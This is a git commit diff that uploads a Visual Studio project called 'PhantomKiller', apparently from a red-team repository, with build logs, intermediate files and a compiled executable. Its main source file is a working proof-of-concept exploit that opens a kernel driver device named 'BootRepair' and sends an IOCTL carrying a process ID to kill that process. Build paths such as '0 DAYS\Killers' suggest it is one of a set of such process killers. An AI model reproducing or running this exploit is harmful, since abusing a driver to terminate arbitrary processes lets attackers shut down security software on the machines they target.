commit 142309d20f7e6085aa47d79b482996956f4ef85f Author: Red Team Fortress Date: Tue May 19 11:02:07 2026 +0400 Add files via upload diff --git a/PhantomKiller.slnx b/PhantomKiller.slnx new file mode 100644 index 0000000..79e547d --- /dev/null +++ b/PhantomKiller.slnx @@ -0,0 +1,7 @@ + + + + + + + diff --git a/PhantomKiller/PhantomKiller.cpp b/PhantomKiller/PhantomKiller.cpp new file mode 100644 index 0000000..6bd2868 --- /dev/null +++ b/PhantomKiller/PhantomKiller.cpp @@ -0,0 +1,25 @@ +#include +#include + +int main(int argc, char* argv[]) { + if (argc != 2) { + printf("usage: poc.exe \n"); + return 1; + } + + DWORD pid = atoi(argv[1]); + HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] open device failed: %d\n", GetLastError()); + return 1; + } + + DWORD ret; + if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL)) + printf("[+] killed %d\n", pid); + else + printf("[-] ioctl failed: %d\n", GetLastError()); + + CloseHandle(h); + return 0; +} \ No newline at end of file diff --git a/PhantomKiller/PhantomKiller.vcxproj b/PhantomKiller/PhantomKiller.vcxproj new file mode 100644 index 0000000..c2b29e3 --- /dev/null +++ b/PhantomKiller/PhantomKiller.vcxproj @@ -0,0 +1,136 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 18.0 + Win32Proj + {6596f834-4a7c-465f-9271-ffca5806403a} + PhantomKiller + 10.0 + + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + MultiThreaded + + + Console + true + + + + + + + + + \ No newline at end of file diff --git a/PhantomKiller/PhantomKiller.vcxproj.filters b/PhantomKiller/PhantomKiller.vcxproj.filters new file mode 100644 index 0000000..a3c8b2f --- /dev/null +++ b/PhantomKiller/PhantomKiller.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/PhantomKiller/PhantomKiller.vcxproj.user b/PhantomKiller/PhantomKiller.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/PhantomKiller/PhantomKiller.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/PhantomKiller/x64/Release/PhantomKiller.exe.recipe b/PhantomKiller/x64/Release/PhantomKiller.exe.recipe new file mode 100644 index 0000000..a2b4485 --- /dev/null +++ b/PhantomKiller/x64/Release/PhantomKiller.exe.recipe @@ -0,0 +1,11 @@ + + + + + C:\Users\MSI\Desktop\0 DAYS\Killers\PhantomKiller\x64\Release\PhantomKiller.exe + + + + + + \ No newline at end of file diff --git a/PhantomKiller/x64/Release/PhantomKiller.iobj b/PhantomKiller/x64/Release/PhantomKiller.iobj new file mode 100644 index 0000000..314dd30 Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.iobj differ diff --git a/PhantomKiller/x64/Release/PhantomKiller.ipdb b/PhantomKiller/x64/Release/PhantomKiller.ipdb new file mode 100644 index 0000000..f357195 Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.ipdb differ diff --git a/PhantomKiller/x64/Release/PhantomKiller.log b/PhantomKiller/x64/Release/PhantomKiller.log new file mode 100644 index 0000000..b680b02 --- /dev/null +++ b/PhantomKiller/x64/Release/PhantomKiller.log @@ -0,0 +1,6 @@ + PhantomKiller.cpp + Generating code + Previous IPDB not found, fall back to full compilation. + All 4 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. + Finished generating code + PhantomKiller.vcxproj -> C:\Users\MSI\Desktop\0 DAYS\Killers\PhantomKiller\x64\Release\PhantomKiller.exe diff --git a/PhantomKiller/x64/Release/PhantomKiller.obj b/PhantomKiller/x64/Release/PhantomKiller.obj new file mode 100644 index 0000000..bb89b0f Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.obj differ diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.command.1.tlog b/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.command.1.tlog new file mode 100644 index 0000000..dcac24f Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.command.1.tlog differ diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.read.1.tlog b/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.read.1.tlog new file mode 100644 index 0000000..1079207 Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.read.1.tlog differ diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.write.1.tlog b/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.write.1.tlog new file mode 100644 index 0000000..3c503e2 Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.tlog/CL.write.1.tlog differ diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/Cl.items.tlog b/PhantomKiller/x64/Release/PhantomKiller.tlog/Cl.items.tlog new file mode 100644 index 0000000..ce0beff --- /dev/null +++ b/PhantomKiller/x64/Release/PhantomKiller.tlog/Cl.items.tlog @@ -0,0 +1 @@ +C:\Users\MSI\Desktop\0 DAYS\Killers\PhantomKiller\PhantomKiller\PhantomKiller.cpp;C:\Users\MSI\Desktop\0 DAYS\Killers\PhantomKiller\PhantomKiller\x64\Release\PhantomKiller.obj diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/PhantomKiller.lastbuildstate b/PhantomKiller/x64/Release/PhantomKiller.tlog/PhantomKiller.lastbuildstate new file mode 100644 index 0000000..f56e046 --- /dev/null +++ b/PhantomKiller/x64/Release/PhantomKiller.tlog/PhantomKiller.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v145:VCToolArchitecture=Native64Bit:VCToolsVersion=14.50.35717:VCServicingVersionCompilers=14.50.35724:TargetPlatformVersion=10.0.26100.0: +Release|x64|C:\Users\MSI\Desktop\0 DAYS\Killers\PhantomKiller\| diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/link.command.1.tlog b/PhantomKiller/x64/Release/PhantomKiller.tlog/link.command.1.tlog new file mode 100644 index 0000000..c733a93 Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.tlog/link.command.1.tlog differ diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/link.read.1.tlog b/PhantomKiller/x64/Release/PhantomKiller.tlog/link.read.1.tlog new file mode 100644 index 0000000..955efb3 Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.tlog/link.read.1.tlog differ diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/link.secondary.1.tlog b/PhantomKiller/x64/Release/PhantomKiller.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..aaca46d --- /dev/null +++ b/PhantomKiller/x64/Release/PhantomKiller.tlog/link.secondary.1.tlog @@ -0,0 +1,3 @@ +^C:\USERS\MSI\DESKTOP\0 DAYS\KILLERS\PHANTOMKILLER\PHANTOMKILLER\X64\RELEASE\PHANTOMKILLER.OBJ +C:\Users\MSI\Desktop\0 DAYS\Killers\PhantomKiller\PhantomKiller\x64\Release\PhantomKiller.IPDB +C:\Users\MSI\Desktop\0 DAYS\Killers\PhantomKiller\PhantomKiller\x64\Release\PhantomKiller.iobj diff --git a/PhantomKiller/x64/Release/PhantomKiller.tlog/link.write.1.tlog b/PhantomKiller/x64/Release/PhantomKiller.tlog/link.write.1.tlog new file mode 100644 index 0000000..6d49095 Binary files /dev/null and b/PhantomKiller/x64/Release/PhantomKiller.tlog/link.write.1.tlog differ diff --git a/PhantomKiller/x64/Release/vc145.pdb b/PhantomKiller/x64/Release/vc145.pdb new file mode 100644 index 0000000..3ea1d94 Binary files /dev/null and b/PhantomKiller/x64/Release/vc145.pdb differ diff --git a/x64/Release/PhantomKiller.exe b/x64/Release/PhantomKiller.exe new file mode 100644 index 0000000..d440f52 Binary files /dev/null and b/x64/Release/PhantomKiller.exe differ diff --git a/x64/Release/PhantomKiller.pdb b/x64/Release/PhantomKiller.pdb new file mode 100644 index 0000000..f7271a6 Binary files /dev/null and b/x64/Release/PhantomKiller.pdb differ